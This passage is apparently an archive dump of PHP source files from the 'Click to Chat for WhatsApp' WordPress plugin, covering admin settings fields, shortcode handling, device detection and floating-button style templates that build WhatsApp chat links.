                <p class="description">Category name's to hide, Add multiple Categories separate with a comma ( , ) - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/hide-styles-based-on-category/">more info</a> </p>
            </div>
        </div>
        <?php
    }

    //  Custom shortcode
    function ccw_custom_shortcode_cb() {
        $ccw_shortcode = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ccw_options[shortcode]" value="<?= esc_attr( $ccw_shortcode['shortcode'] ) ?>" id="shortcode" type="text" class="input-margin">
                <label for="shortcode">shortcode name</label>
                <?php
                $shortcode_list = '';
                // global used here is defined by wordpress 
                foreach ($GLOBALS['shortcode_tags'] AS $key => $value) {
                   $shortcode_list .= $key . ', ';
                 }
                ?>
                <p class="description"> Default values is 'chat', can customize shortcode name - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/change-shortcode-name/">more info</a> </p>
                <!-- <p class="description"> please dont add this already existing shortcode names - <?= $shortcode_list ?> </p> -->
                <p class="description"> please dont change to already existing shortcode name </p>
            </div>
        </div>
        <?php
    }




    // if cache issue -  app first
    function ccw_app_first_cb() {
        $ccw_app_first = get_option('ccw_options');


        if ( isset( $ccw_app_first['app_first'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ccw_options[app_first]" type="checkbox" value="1" <?php checked( $ccw_app_first['app_first'], 1 ); ?> id="app_first" />
                    <span>App First ( api.whatsapp links )</span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ccw_options[app_first]" type="checkbox" value="1" id="app_first" />
                    <span>App First ( api.whatsapp links )</span>
                </label>
            </p>
            <?php
        }
        ?>
        <p class="description">if checked navigates to api.whatsapp in all devices instead of web.whatsapp in desktop - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/app-first/">more info</a> </p>
        <p class="desciption">uncheck - If in mobile navigates to web.whatsapp, it might be cache issue.</p>
        <?php
    }






    // Sanitize callback ..
    function ccw_options_sanitize( $input ) {

        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'not allowed to modify - please contact admin ' );
        }
        
        $new_input = array();

        foreach ($input as $key => $value) {
            if( isset( $input[$key] ) ) {
                $new_input[$key] = sanitize_text_field( $input[$key] );
            }
        }

        return $new_input;
    }


}



$admin_page = new CCW_Admin_Page();

add_action( 'admin_init', array( $admin_page,'ccw_custom_settings' ) );

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/inc/class-ccw-add-styles-scripts.php000064400000004105147510273110021451 0ustar00<?php
/**
 * app.js  -  autop issue solution, animtions - added for all styles
 * 
 * mainstyles.css  -  for all styles .. 
 * mdstyle8.css  - style 8 needed - 
 *                  for floating style added with conditons - in this file
 *                  for shortcodes added at there related template files.. ( sc-style- .php )
 * 
 * @package ccw
 * @since 1.0
 */
if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'CCW_Add_Styles_Scripts' ) ) :
    
class CCW_Add_Styles_Scripts {


    /**
	 * Register styles - front end ( non admin )
	 *
	 * @since 1.0
	 */
    function ccw_register_files() {

        wp_register_style('ccw_main_css', plugins_url( 'prev/assets/css/mainstyles.css', HT_CTC_PLUGIN_FILE ), '', HT_CTC_VERSION );
        wp_enqueue_style('ccw_main_css');
        
        
        wp_register_style('ccw_mdstyle8_css', plugins_url( 'new/inc/assets/css/mdstyle8.css', HT_CTC_PLUGIN_FILE ), '', HT_CTC_VERSION );
        // needs - s8
        // wp_enqueue_style('ccw_mdstyle8_css');
        
        wp_enqueue_script( 'ccw_app', plugins_url( 'prev/assets/js/app.js', HT_CTC_PLUGIN_FILE ), array ( 'jquery' ), HT_CTC_VERSION, true );

        // As now - for floating style - enqueue md style added like this
        // but for shortcodes enqueue while calling that template file
        $mobile_style = ht_ccw()->variables->get_option['stylemobile'];
        $desktop_style = ht_ccw()->variables->get_option['style'];

        /**
         * is mobile or not
         * and then enqueue styles if selected style is 8
         */
        if ( 1 == ht_ccw()->device_type->is_mobile ) {
            if ( 8 == $mobile_style ) {
                wp_enqueue_style('ccw_mdstyle8_css');
            }
        } else {
            if ( 8 == $desktop_style ) {
                wp_enqueue_style('ccw_mdstyle8_css');
            }
        }
        
    }


}

endif; // END class_exists check


$add_styles_scripts = new CCW_Add_Styles_Scripts();

add_action('wp_enqueue_scripts', array( $add_styles_scripts, 'ccw_register_files' ) );click-to-chat-for-whatsapp/prev/inc/class-ht-ccw-register.php000064400000003510147510273110020147 0ustar00<?php
/**
* three function -  while actiavte , deactivate , uninstall( while deleting ) 
* as plan to preserve the database options which usefull when reinstall plugin/ update 
*       so that setting wont last
*     and as no custom post types or so.. to flush rewrite rules
*               so deactivate, uninstall not doing any thing here
*
* @package ccw
* @since 1.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CCW_Register' ) ) :
    
class HT_CCW_Register {

    // when plugin activate
    public static function activate() {

        
        if( version_compare( get_bloginfo('version'), '3.1.0', '<') )  {
            wp_die( 'please update WordPress' );
        }

        // add default values to options db 
        include_once HT_CTC_PLUGIN_DIR . '/prev/admin/default-values.php';
    }
    
    // when plugin deactivate
    public static function deactivate() {
    }

    // when plugin uninstall 
    public static function uninstall() {
    }

    // for plugin updates - run on plugins_loaded 
    public static function version_check() {
        
        $ccw_plugin_details = get_option('ccw_plugin_details');

        $version = (isset($ccw_plugin_details['version'])) ? esc_attr($ccw_plugin_details['version']) : '';
        if ( HT_CTC_VERSION !== $version ) {
            //  to update the plugin - just like activate plugin
            self::activate();

        }
    }

    // add settings page links in plugins page - at plugin
    public static function plugin_action_links( $links ) {
		$new_links = array(
			'settings' => '<a href="' . admin_url( 'admin.php?page=click-to-chat' ) . '">' . __( 'Settings' , 'click-to-chat-for-whatsapp' ) . '</a>',
		);

		return array_merge( $new_links, $links );
	}

    

}

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/inc/class-ccw-shortcode.php000064400000030751147510273110017713 0ustar00<?php
/**
* shortcodes 
* base shortcode name is [chat]
* for list of attribute support check  -> shortcode_atts ( $a )
*
* @package ccw
* @since 1.0
*/    

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'CCW_Shortcode' ) ) :
    
class CCW_Shortcode {


    //  Register shortcode
    public function ccw_shortcodes_init() {
        $shortcode_name = esc_attr( ht_ccw()->variables->get_option['shortcode'] );
        // add_shortcode('chat', 'shortcode');
        add_shortcode( $shortcode_name, array( $this, 'shortcode' ) );
    }

    // call back function - shortcode 
    public function shortcode( $atts = [], $content = null, $shortcode = '' ) {

        $values = ht_ccw()->variables->get_option;

        $enable_sc = esc_attr( $values['enable_sc'] );
        $global_num = esc_attr( $values['number'] );
        $val = esc_attr( $values['input_placeholder'] );
        $style_val = esc_attr( $values['style'] );

        $return_type = esc_attr( $values['return_type'] );
        $group_id = esc_attr( $values['group_id'] );

        $prefill_text = esc_attr( $values['initial'] );


        /**
         * there is an advantage if return here - 
         *  instead of doing this before loading this file.
         * 
         * now the shortcode exists - what ever
         * If return here - 
         *   there is no content for that
         *   so shortcode added in post will be hide / null.
         */
        if( 1 == $enable_sc ) {
            return;
        }

            
        // $content = do_shortcode($content);

        $ccw_options_cs = get_option('ccw_options_cs');
        //  use like  $ccw_options_cs['']
        
        $a = shortcode_atts(
            array(
                'num' => $global_num,
                'val' => $val,
                'style' => $style_val,
                'text' => $prefill_text,
                'position' => '',
                'top' => '',
                'right' => '',
                'bottom' => '',
                'left' => '',
                'home' => '',  // home -  to hide on experts .. 
                'hide_mobile' => '',
                'hide_desktop' => '',
                'inline_issue' => '',

                'type' => $return_type,   // type= group_chat  or ( chat or any thing )
                'group_id' => $group_id,  // group chat id .. 
                
                's1_text_color' => esc_attr( $ccw_options_cs['s1_text_color'] ),
                's1_text_color_onfocus' => esc_attr( $ccw_options_cs['s1_text_color_onfocus'] ),
                's1_border_color' => esc_attr( $ccw_options_cs['s1_border_color'] ),
                's1_border_color_onfocus' => esc_attr( $ccw_options_cs['s1_border_color_onfocus'] ),
                's1_submit_btn_color' => esc_attr( $ccw_options_cs['s1_submit_btn_color'] ),
                's1_submit_btn_text_and_icon_color' => esc_attr( $ccw_options_cs['s1_submit_btn_text_and_icon_color'] ),
                's1_width' => esc_attr( $ccw_options_cs['s1_width'] ),

                's1_btn_text' => esc_attr( $ccw_options_cs['s1_btn_text'] ),
            
                's2_text_color' => esc_attr( $ccw_options_cs['s2_text_color'] ),
                's2_text_color_onhover' => esc_attr( $ccw_options_cs['s2_text_color_onhover'] ),
                's2_decoration' => esc_attr( $ccw_options_cs['s2_decoration'] ),
                's2_decoration_onhover' => esc_attr( $ccw_options_cs['s2_decoration_onhover'] ),
                
                's3_icon_size' => esc_attr( $ccw_options_cs['s3_icon_size'] ),
            
                's4_text_color' => esc_attr( $ccw_options_cs['s4_text_color'] ),
                's4_background_color' => esc_attr( $ccw_options_cs['s4_background_color'] ),
            
                's5_color' => esc_attr( $ccw_options_cs['s5_color'] ),
                's5_hover_color' => esc_attr( $ccw_options_cs['s5_hover_color'] ),
                's5_icon_size' => esc_attr( $ccw_options_cs['s5_icon_size'] ),
                
                's6_color' => esc_attr( $ccw_options_cs['s6_color'] ),
                's6_hover_color' => esc_attr( $ccw_options_cs['s6_hover_color'] ),
                's6_icon_size' => esc_attr( $ccw_options_cs['s6_icon_size'] ),
                's6_circle_background_color' => esc_attr( $ccw_options_cs['s6_circle_background_color'] ),
                's6_circle_background_hover_color' => esc_attr( $ccw_options_cs['s6_circle_background_hover_color'] ),
                's6_circle_height' => esc_attr( $ccw_options_cs['s6_circle_height'] ),
                's6_circle_width' => esc_attr( $ccw_options_cs['s6_circle_width'] ),
                's6_line_height' => esc_attr( $ccw_options_cs['s6_line_height'] ),
            
                's7_color' => esc_attr( $ccw_options_cs['s7_color'] ),
                's7_hover_color' => esc_attr( $ccw_options_cs['s7_hover_color'] ),
                's7_icon_size' => esc_attr( $ccw_options_cs['s7_icon_size'] ),
                's7_box_background_color' => esc_attr( $ccw_options_cs['s7_box_background_color'] ),
                's7_box_background_hover_color' => esc_attr( $ccw_options_cs['s7_box_background_hover_color'] ),
                's7_box_height' => esc_attr( $ccw_options_cs['s7_box_height'] ),
                's7_box_width' => esc_attr( $ccw_options_cs['s7_box_width'] ),
                's7_line_height' => esc_attr( $ccw_options_cs['s7_line_height'] ),
            
                's8_text_color' => esc_attr( $ccw_options_cs['s8_text_color'] ),
                's8_background_color' => esc_attr( $ccw_options_cs['s8_background_color'] ),
                's8_icon_color' => esc_attr( $ccw_options_cs['s8_icon_color'] ),
                's8_text_color_onhover' => esc_attr( $ccw_options_cs['s8_text_color_onhover'] ),
                's8_background_color_onhover' => esc_attr( $ccw_options_cs['s8_background_color_onhover'] ),
                's8_icon_color_onhover' => esc_attr( $ccw_options_cs['s8_icon_color_onhover'] ),
                's8_icon_float' => esc_attr( $ccw_options_cs['s8_icon_float'] ),
                's8_1_width' => esc_attr( $ccw_options_cs['s8_1_width'] ),

                's9_icon_size' => esc_attr( $ccw_options_cs['s9_icon_size'] ),


                's99_img_height_desktop' => esc_attr( $ccw_options_cs['s99_img_height_desktop'] ),
                's99_img_width_desktop' => esc_attr( $ccw_options_cs['s99_img_width_desktop'] ),
                's99_img_height_mobile' => esc_attr( $ccw_options_cs['s99_img_height_mobile'] ),
                's99_img_width_mobile' => esc_attr( $ccw_options_cs['s99_img_width_mobile'] ),
                's99_desktop_img' => esc_attr( $ccw_options_cs['s99_desktop_img'] ),
                's99_mobile_img' => esc_attr( $ccw_options_cs['s99_mobile_img'] ),
                
                
            ), $atts, $shortcode );
        // use like -  '.esc_attr($a["title"]).'   
        

        $num   = esc_attr($a["num"]);

        // initial text
        $page_url = get_permalink();
        $text = esc_attr($a["text"]);
        $initial_text = str_replace( '{{url}}', $page_url, $text );;

    
        //  if it is mobile device , or tab is_mobile is 1, if not 2 or any thing 
        $is_mobile = ht_ccw()->device_type->is_mobile;

        // hide based on device type
        // "string" true or "true" not boolean - boolean means is exists like ..
        $hide_mobile = esc_attr($a["hide_mobile"]);
        $hide_desktop = esc_attr($a["hide_desktop"]);

        $redirect = "";

        $is_group = esc_attr($a["type"]);
        $group_id = esc_attr($a["group_id"]);

        /**
         * If type = group_chat , then only it consider as group chat,
         * if type = chat or any thing else, consider as chat. ( default is chat )
         */
        if( 1 == $is_mobile ) {

            if ( "true" == $hide_mobile ) {
                return;
            }

            if ( 'group_chat' == $is_group ) {
                $img_click_link = "window.open('https://chat.whatsapp.com/$group_id', '_blank', 'noreferrer')";
                $redirect_a = "https://chat.whatsapp.com/$group_id";
            } else {
                $img_click_link = "window.open('https://api.whatsapp.com/send?phone=$num&text=$initial_text', '_blank', 'noreferrer')";
                $redirect_a = "https://api.whatsapp.com/send?phone=$num&text=$initial_text";
            }
        } else {

            if ( "true" == $hide_desktop ) {
                return;
            }

            if ( isset( $values['app_first'] ) ) {

                // App First - so mobile based url
                if ( 'group_chat' == $is_group ) {
                    $img_click_link = "window.open('https://chat.whatsapp.com/$group_id', '_blank', 'noreferrer')";
                    $redirect_a = "https://chat.whatsapp.com/$group_id";
                } else {
                    $img_click_link = "window.open('https://api.whatsapp.com/send?phone=$num&text=$initial_text', '_blank', 'noreferrer')";
                    $redirect_a = "https://api.whatsapp.com/send?phone=$num&text=$initial_text";
                }

            } else {
                
                // General - Desktop url
                if ( 'group_chat' == $is_group ) {
                    $img_click_link = "window.open('https://chat.whatsapp.com/$group_id', '_blank', 'noreferrer')";
                    $redirect_a = "https://chat.whatsapp.com/$group_id";
                } else {
                    $img_click_link = "window.open('https://web.whatsapp.com/send?phone=$num&text=$initial_text', '_blank', 'noreferrer')";
                    $redirect_a = "https://web.whatsapp.com/send?phone=$num&text=$initial_text";
                }
            }

            
        }


        $position   = esc_attr($a["position"]);
        $top        = esc_attr($a["top"]);
        $right      = esc_attr($a["right"]);
        $bottom     = esc_attr($a["bottom"]);
        $left       = esc_attr($a["left"]);
        $home       = esc_attr($a["home"]);
        
        
        
        // style - 9 - green square
        $img_link_s9 = plugins_url("./new/inc/assets/img/whatsapp-icon-square.svg", HT_CTC_PLUGIN_FILE );

        
        $css = '';

        if ( '' !== $position ) {
            $css .= 'position:'.$position.';';
        }
        if ( '' !== $top ) {
            $css .= 'top:'.$top.';';
        }
        if ( '' !== $right ) {
            $css .= 'right:'.$right.';';
        }
        if ( '' !== $bottom ) {
            $css .= 'bottom:'.$bottom.';';
        }
        if ( '' !== $left ) {
            $css .= 'left:'.$left.';';
        }

        // to hide styles in home page
        // $position !== 'fixed' why !== to avoid double time adding display: none .. 
        if ( 'fixed' !== $position && 'hide' == $home && ( is_home() || is_category() || is_archive() ) ) {
                $css .= 'display:none;';
        }

        // By default position: fixed style hide on home screen, 
        // if plan to show, then add hide='show' ( actually something not equal to 'hide' )
        if ( 'fixed' == $position && 'show' !== $home &&  ( is_home() || is_category() || is_archive() ) ) {
            $css .= 'display:none;';
        }


        // to fix inline issue ..
        $inline_issue = '';
        if ( 'true' == esc_attr($a["inline_issue"]) ) {
            // if "true" adds inline_issue class name
            $inline_issue = 'inline_issue';
        }

        $style = esc_attr($a["style"]);

        if ( '4.1' == $style ) {
            $style = '4';
            $inline_issue = 'inline_issue';
        }

        $o = '';

        // shortcode template file path
        $style = sanitize_file_name( $style );
        $sc_path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'prev/inc/commons/styles-list-sc/sc-style-' . $style. '.php';

        if ( is_file( $sc_path ) ) {
            include $sc_path;
        } else {
            $img_link = plugins_url("./new/inc/assets/img/whatsapp-logo.svg", HT_CTC_PLUGIN_FILE );
            $o .= '<div class="ccw_plugin">';
            $o .= '<img class="img-icon-sc sc_item pointer style-3-sc" src="'.$img_link.'" alt="WhatsApp chat" onclick="'.$img_click_link.'" style="height: 50px; '.$css.' " >';
            $o .= '</div>';
        }

        
        return $o;

    }


}


$shortcode = new CCW_Shortcode();

add_action('init', array( $shortcode, 'ccw_shortcodes_init' ) );

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/inc/class-ht-ccw-chat.php000064400000013112147510273110017241 0ustar00<?php
/**
 * @uses ccw.php - initilaze at init
 * adds floatings style using add_action - wp_footer 
 * 
 * get values, check things ..
 * include styles.php and 
 *  styles.php includes selected style template
 *      from commons/styles-list
 * 
 * @package ccw
 * @since 1.4  -  merge of chatbot.php, chatbot-mobile.php
 */



if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CCW_Chat' ) ) :
    
class HT_CCW_Chat {


    // constructor
    public function __construct() {
        $this->floating_device();
    }

    /**
     * add_action - wp_footer
     *
     * @uses this class contructor
     */
    public function floating_device() {
        add_action( 'wp_footer', array( $this, 'chat' ) );
    }




    /**
	 * Display - styles
	 * @uses - add_action hook - wp_footer
	 * @since 1.0
	 */
    function chat() {

        // similar - ht_ccw()->variables->get_option['enable'];
        $values = ht_ccw()->variables->get_option;
        
        $enable = esc_attr( $values['enable'] );
        $num = esc_attr( $values['number'] );
        $val = esc_attr( $values['input_placeholder'] );
        // $val_form_db = esc_attr( $values['input_placeholder'] );
        // $val = __( $val_form_db, 'click-to-chat-for-whatsapp' );

        $position = esc_attr( $values['position'] );

        // $style = esc_attr( $values['style'] );


        // Analytics
        $google_analytics = '';
        $ga_category = '';
        $ga_action = '';
        $ga_label = '';



        if ( isset( $values['google_analytics'] ) ) {
            $google_analytics = 'true';

            $ht_ccw_ga = get_option( 'ht_ccw_ga' );

            $ga_category = esc_attr( $ht_ccw_ga['ga_category'] );
            $ga_action = esc_attr( $ht_ccw_ga['ga_action'] );
            $ga_label = esc_attr( $ht_ccw_ga['ga_label'] );

        }


        $page_title = esc_html( get_the_title() );

        /**
         * pass values to JavaScript 
         * @var string google_analytics - is enable
         */
        $ht_ccw_var = array(
            'page_title' => $page_title,

            'google_analytics' => $google_analytics,
            'ga_category' => $ga_category,
            'ga_action' => $ga_action,
            'ga_label' => $ga_label,

            );

        wp_localize_script( 'ccw_app', 'ht_ccw_var', $ht_ccw_var );

        // enable
        if( 1 == $enable ) {
            return;
        }
        
        // $ccw_option_values =  get_option('ccw_options');
        
        $this_page_id = get_the_ID();
        $pages_list_tohide = esc_attr( $values['list_hideon_pages'] );
        $pages_list_tohide_array = explode(',', $pages_list_tohide);
        
        
        if( ( is_single() || is_page() ) && in_array( $this_page_id, $pages_list_tohide_array ) ) {
            return;
        }
        
        
        if ( is_single() && isset( $values['hideon_posts'] ) ) {
            return;
        }
        
        if ( is_page() && isset( $values['hideon_page'] ) ) {
            if ( ( !is_home() ) && ( !is_front_page() ) ) {
                return;
            }
        }
        
        if ( is_home() && isset( $values['hideon_homepage'] ) ) {
            return;
        }
        
        if ( is_front_page() && isset( $values['hideon_frontpage'] ) ) {
            return;
        }
        
        if ( is_category() && isset( $values['hideon_category'] ) ) {
            return;
        }
        
        if ( is_archive() && isset( $values['hideon_archive'] ) ) {
            return;
        }
        
        if ( is_404() && isset( $values['hideon_404'] ) ) {
            return;
        }


        // Hide styles on this catergorys - list
        $list_hideon_cat = esc_attr( $values['list_hideon_cat'] );

        // avoid calling foreach, explode when hide on categorys list is empty
        if( $list_hideon_cat ) {

            //  Get current post Categorys list and create an array for that..
            $current_categorys_array = array();
            $current_categorys = get_the_category();
            foreach ( $current_categorys as $category ) {
                $current_categorys_array[] = strtolower($category->name);
            }

            $list_hideon_cat_array = explode(',', $list_hideon_cat);
        
            foreach ( $list_hideon_cat_array as $category ) {
                $category_trim = trim($category);
                if ( in_array( strtolower($category_trim), $current_categorys_array ) ) {
                    return;
                }
            }
        }
        

        if( 1 == $position ) {
            $p1 = 'bottom:'.esc_attr( $values['position-1_bottom'] );
            $p2 = 'right:'.esc_attr( $values['position-1_right'] );
        } elseif( 2 == $position ) {
            $p1 = 'bottom:'.esc_attr( $values['position-2_bottom'] );
            $p2 = 'left:'.esc_attr( $values['position-2_left'] );
        } elseif( 3 == $position ) {
            $p1 = 'top:'.esc_attr( $values['position-3_top'] );
            $p2 = 'left:'.esc_attr( $values['position-3_left'] );
        } elseif( 4 == $position ) {
            $p1 = 'top:'.esc_attr( $values['position-4_top'] );
            $p2 = 'right:'.esc_attr( $values['position-4_right'] );
        }



        include_once HT_CTC_PLUGIN_DIR .'prev/inc/commons/styles.php';

    }

}


// $chatbot = new CCW_Chatbot();
    

//  add_action( 'wp_head', 'chatbot' );
//  add_action( 'wp_footer', array( $chatbot, 'chatbot' ) );

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/inc/commons/class-ht-ccw-variables.php000064400000001323147510273110021746 0ustar00<?php
/**
 * Variables to use among plugin - try to avoid globals .. 
 * replaced variables.php 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CCW_Variables' ) ) :

class HT_CCW_Variables {

    /**
     * db options table - ccw_options values
     * @var array get_options ccw_options
     */
    public $get_option;

    public function __construct() {
        $this->get_option();
    }

    public function get_option() {
        $this->get_option =  get_option('ccw_options');
    }

    // public function ccw_enable() {
    //     $ccw_enable = esc_attr( $this->get_option['enable'] );
    //     return $ccw_enable;
    // }

}

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/inc/commons/styles.php000064400000006363147510273110017044 0ustar00<?php
/**
 * List of Styles
 * 
 * @uses chatbot.php, chatbot-mobile.php
 * 
 * @var values  -  is initiated in chat.php
 * $values = ht_ccw()->variables->get_option;
 * 
 * @package ccw
 * @since 1.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$ccw_options_cs = get_option('ccw_options_cs');

//  if it is mobile device, or tab is_mobile is 1, if not 2 or any thing
$is_mobile = ht_ccw()->device_type->is_mobile;

$return_type = esc_attr( $values['return_type'] );
$group_id = esc_attr( $values['group_id'] );
$page_url = get_permalink();
$text = esc_attr( $values['initial'] );

$initial_text = str_replace( '{{url}}', $page_url, $text );


// $an_on_load = "animated bounce infinite";
$an_on_load = esc_attr( $ccw_options_cs['an_on_load'] );

// if yes - add's 'ccw-an' class to styles
// for class ccw-an - animated in javascript
$an_on_hover = esc_attr( $ccw_options_cs['an_on_hover'] );



/**
 * $redirect - redirect link for onclick attribute - window.open - direct link - using window.open
 * 
 * $redirect_a   -  full url - for 'a' tags - direct link - instead of calling another file using redirect_page
 */
$redirect = "";

if( 1 == $is_mobile ) {

    // selected style for mobile devices
    $style = esc_attr( $values['stylemobile'] );

    
    if ( 'group_chat' == $return_type ) {
        $redirect = "window.open('https://chat.whatsapp.com/$group_id', '_blank', 'noopener')";
        $redirect_a = "https://chat.whatsapp.com/$group_id";
    } else {
        $redirect = "window.open('https://api.whatsapp.com/send?phone=$num&text=$initial_text', '_blank', 'noopener')";
        $redirect_a = "https://api.whatsapp.com/send?phone=$num&text=$initial_text";
    }
} else {

    // selected style for desktop devices
    $style = esc_attr( $values['style'] );


    if ( isset( $values['app_first'] ) ) {

        // App First - so mobile based url
        if ( 'group_chat' == $return_type ) {
            $redirect = "window.open('https://chat.whatsapp.com/$group_id', '_blank', 'noreferrer')";
            $redirect_a = "https://chat.whatsapp.com/$group_id";
        } else {
            $redirect = "window.open('https://api.whatsapp.com/send?phone=$num&text=$initial_text', '_blank', 'noreferrer')";
            $redirect_a = "https://api.whatsapp.com/send?phone=$num&text=$initial_text";
        }


    } else {

        // General - Desktop url
        if ( 'group_chat' == $return_type ) {
            $redirect = "window.open('https://chat.whatsapp.com/$group_id', '_blank', 'noreferrer')";
            $redirect_a = "https://chat.whatsapp.com/$group_id";
        } else {
            $redirect = "window.open('https://web.whatsapp.com/send?phone=$num&text=$initial_text', '_blank', 'noreferrer')";
            $redirect_a = "https://web.whatsapp.com/send?phone=$num&text=$initial_text";
        }

    }
    
    
}

// floating style template path
$style = sanitize_file_name( $style );
$path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'prev/inc/commons/styles-list/style-' . $style. '.php';

$version = HT_CTC_VERSION;
$comment = "<!-- Click to Chat - prev - https://holithemes.com/plugins/click-to-chat/  v$version -->";
echo $comment;

if ( is_file( $path ) ) {
    include_once $path;
}click-to-chat-for-whatsapp/prev/inc/commons/class-ht-ccw-ismobile.php000064400000003574147510273110021613 0ustar00<?php
/**
 * detect device -  mobile or not
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CCW_IsMobile' ) ) :

class HT_CCW_IsMobile {

    /**
     * return is mobile or not
     * while using in condition check with 1 not with 2
     * @var int - if mobile : 1 ?  2
     */
    public $is_mobile;

    public function __construct() {
        
        $this->is_mobile = $this->is_mobile();
        
    }

    /**
     * added this  -  an user mention that wp_is_mobile uncauched error
     *  so now it easy to fix incase more users repoted this issue
     * 
     * Check is mobile device or not
     * wp_is_mobile - if true then 1, else 2
     */
    public function is_mobile() {
        
        if ( function_exists( 'wp_is_mobile' ) ) {
            if ( wp_is_mobile() ) {
                return $this->is_mobile = 1;
            } else {
                return $this->is_mobile = 2;
            }
        } else {
            if ( $this->php_is_mobile() ) {
                return $this->is_mobile = 1;
            } else {
                return $this->is_mobile = 2;
            }
        }

    }


    /**
     * @uses $this -> is_mobile
     * 
     * php way of find is mobile
     * fallback if wp_is_mobile is not defined 
     * @return boolean
     */
    public function php_is_mobile() {
        // return preg_match("/(android|avantgo|blackberry|bolt|boost|cricket|docomo|fone|hiptop|mini|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]);
        return preg_match("/(android|webos|avantgo|iphone|ipad|ipod|blackbe‌​rry|iemobile|bolt|bo‌​ost|cricket|docomo|f‌​one|hiptop|mini|oper‌​a mini|kitkat|mobi|palm|phone|pie|tablet|up\.browser|up\.link|‌​webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]);
    }  



}

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-0.php000064400000000135147510273110021301 0ustar00<?php
/**
 * 0 style - when no style is selected
 * Hide on Desktop or Hide on Mobile
 */click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-7.php000064400000003210147510273110021305 0ustar00<?php
/**
 * button with icon - box
 */

if ( ! defined( 'ABSPATH' ) ) exit;

// $ccw_options_cs = get_option('ccw_options_cs');
$s7_color = esc_attr( $ccw_options_cs['s7_color'] );
$s7_hover_color = esc_attr( $ccw_options_cs['s7_hover_color'] );
$s7_icon_size = esc_attr( $ccw_options_cs['s7_icon_size'] );

$s7_box_background_color = esc_attr( $ccw_options_cs['s7_box_background_color'] );
$s7_box_background_hover_color = esc_attr( $ccw_options_cs['s7_box_background_hover_color'] );
$s7_box_height = esc_attr( $ccw_options_cs['s7_box_height'] );
$s7_box_width = esc_attr( $ccw_options_cs['s7_box_width'] );
$s7_line_height = esc_attr( $ccw_options_cs['s7_line_height'] );

$s7_css_icon = "color: $s7_color; font-size: $s7_icon_size;";
$s7_css_div = "background-color: $s7_box_background_color; height: $s7_box_height; width: $s7_box_width; line-height: $s7_line_height;  ";
?>
<div class="ccw_plugin">
<div class="chatbot btn_only_style_div pointer ccw-analytics animated <?= $an_on_load .' '. $an_on_hover ?>" id="style-7" data-ccw="style-7" 
    style="<?= $p1 ?>; <?= $p2 ?>; <?= $s7_css_div ?>"
    onmouseover = "this.style.backgroundColor = '<?= $s7_box_background_hover_color ?>', document.getElementsByClassName('ccw-s7-icon')[0].style.color = '<?= $s7_hover_color ?>' "
    onmouseout  = "this.style.backgroundColor = '<?= $s7_box_background_color ?>', document.getElementsByClassName('ccw-s7-icon')[0].style.color = '<?= $s7_color ?>' "
    onclick = "<?= $redirect ?>" >
        <span class="icon icon-whatsapp2 ccw-s7-icon nofocus ccw-analytics" id="s7-icon" data-ccw="style-7" style="<?= $s7_css_icon ?>"></span>
</div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-9.php000064400000001272147510273110021315 0ustar00<?php
/**
 * logo
 */
if ( ! defined( 'ABSPATH' ) ) exit;

// $ccw_options_cs = get_option('ccw_options_cs');
$s9_icon_size = esc_attr( $ccw_options_cs['s9_icon_size'] );
?>

<div class="ccw_plugin chatbot" style="<?= $p1 ?>; <?= $p2 ?>;">
    <div class="ccw_style9 animated <?= $an_on_load .' '. $an_on_hover ?>">
        <a target="_blank" href="<?= $redirect_a ?>" rel="noreferrer" class="img-icon-a nofocus">   
            <img class="img-icon ccw-analytics" id="style-9" data-ccw="style-9" style="height: <?= $s9_icon_size ?>;" src="<?= plugins_url( './new/inc/assets/img/whatsapp-icon-square.svg', HT_CTC_PLUGIN_FILE ) ?>" alt="WhatsApp chat">
        </a>
    </div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-8.php000064400000003716147510273110021321 0ustar00<?php
/**
 * material button - text , icon
 */

if ( ! defined( 'ABSPATH' ) ) exit;

// wp_enqueue_style('ccw_mdstyle8_css');

// $ccw_options_cs = get_option('ccw_options_cs');
$s8_text_color = esc_attr( $ccw_options_cs['s8_text_color'] );
$s8_background_color = esc_attr( $ccw_options_cs['s8_background_color'] );
$s8_icon_color = esc_attr( $ccw_options_cs['s8_icon_color'] );

$s8_text_color_onhover = esc_attr( $ccw_options_cs['s8_text_color_onhover'] );
$s8_background_color_onhover = esc_attr( $ccw_options_cs['s8_background_color_onhover'] );
$s8_icon_color_onhover = esc_attr( $ccw_options_cs['s8_icon_color_onhover'] );

$s8_icon_float = esc_attr( $ccw_options_cs['s8_icon_float'] );


?>
<div class="ccw_plugin mdstyle8 chatbot" style="<?= $p1 ?>; <?= $p2 ?>;">
    <div class="style8 animated <?= $an_on_load .' '. $an_on_hover ?>">
        <a target="_blank" class="btn ccw-analytics" id="style-8" data-ccw="style-8" rel="noreferrer" 
            style="background-color: <?= $s8_background_color ?>; " 
